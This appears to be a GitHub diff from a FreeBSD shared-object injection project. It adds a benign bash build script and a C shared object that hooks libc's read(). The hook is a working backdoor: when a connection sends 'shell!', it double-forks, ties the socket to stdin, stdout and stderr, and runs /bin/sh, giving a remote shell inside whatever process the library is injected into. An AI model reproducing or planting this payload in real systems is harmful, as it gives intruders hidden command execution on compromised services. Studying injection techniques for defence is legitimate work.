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Conflicts: freebsd_tests64/InjectSharedObject.c freebsd_tests64/Makefile freebsd_tests64/test.asm freebsd_tests64/testso.c src/Makefile src/ptrace.c
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,82 @@ | ||
| #!/usr/bin/env bash | ||
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| OS=$(uname -s) | ||
| ARCH=$(uname -m) | ||
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| # Prefer clang, deprecate gcc | ||
| CC=$(which clang) | ||
| #CC=$(which gcc) | ||
| if [ ${#CC} -eq 0 ]; then | ||
| CC="gcc" | ||
| fi | ||
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| PREFIX="/usr" | ||
| if [ ${OS} = "FreeBSD" ]; then | ||
| PREFIX="/usr/local" | ||
| fi | ||
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| MAKE="make" | ||
| if [ ${OS} = "FreeBSD" ]; then | ||
| MAKE="gmake" | ||
| fi | ||
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| build() { | ||
| cd src | ||
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| ${MAKE} PREFIX=${PREFIX} OS=${OS} ARCH=${ARCH} CC=${CC} $1 | ||
| ret=$? | ||
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| cd .. | ||
| return $ret | ||
| } | ||
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| install() { | ||
| if [ ${UID} -gt 0 ]; then | ||
| echo "ERROR: Must be root to install. Exiting." | ||
| return 1 | ||
| fi | ||
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| build install | ||
| return $? | ||
| } | ||
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| uninstall() { | ||
| if [ ${UID} -gt 0 ]; then | ||
| echo "ERROR: Must be root to deinstall. Exiting." | ||
| return 1 | ||
| fi | ||
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| build deinstall | ||
| return $? | ||
| } | ||
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| case $1 in | ||
| build) | ||
| build | ||
| exit $? | ||
| ;; | ||
| install) | ||
| install | ||
| exit $? | ||
| ;; | ||
| clean) | ||
| build clean | ||
| exit $? | ||
| ;; | ||
| deinstall|uninstall) | ||
| uninstall | ||
| exit $? | ||
| ;; | ||
| help) | ||
| echo "USAGE: ${0} [build|install|deinstall]" | ||
| exit 1 | ||
| ;; | ||
| *) | ||
| build clean | ||
| if [ ! $? -eq 0 ]; then | ||
| exit $? | ||
| fi | ||
| build | ||
| exit $? | ||
| ;; | ||
| esac |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,59 @@ | ||
| #include <stdio.h> | ||
| #include <stdlib.h> | ||
| #include <string.h> | ||
| #include <unistd.h> | ||
| #include <dlfcn.h> | ||
| #include <unistd.h> | ||
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| #include <sys/types.h> | ||
| #include <sys/socket.h> | ||
| #include <netinet/in.h> | ||
| #include <netdb.h> | ||
| #include <arpa/inet.h> | ||
| #include <signal.h> | ||
| #include <sys/wait.h> | ||
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| static void *dl; | ||
| ssize_t (*orig_read)(int, void *, size_t); | ||
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| __attribute__((constructor)) void stub(void) | ||
| { | ||
| dl = dlopen("/lib/libc.so.7", RTLD_LAZY | RTLD_GLOBAL); | ||
| orig_read = dlsym(dl, "read"); | ||
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| } | ||
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| void sigchld(int signo) | ||
| { | ||
| while (waitpid(-1, NULL, WNOHANG) > 0) | ||
| ; | ||
| } | ||
|
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| /* | ||
| * Fork a shell and re-use the current socket | ||
| */ | ||
| ssize_t read(int socket, void *buffer, size_t length) | ||
| { | ||
| ssize_t ret; | ||
| FILE *fp; | ||
| char filename[1024+1]; | ||
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| ret = orig_read(socket, buffer, length); | ||
| if (ret < strlen("shell!\n")) | ||
| return ret; | ||
| if (memcmp(buffer, "shell!", strlen("shell!"))) | ||
| return ret; | ||
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| if (fork()) | ||
| return 0; | ||
| setsid(); | ||
| if (fork()) | ||
| return 0; | ||
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| dup2(socket, fileno(stdin)); | ||
| dup2(socket, fileno(stdout)); | ||
| dup2(socket, fileno(stderr)); | ||
| execl("/bin/sh", "sh", NULL); | ||
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| return -1; | ||
| } |
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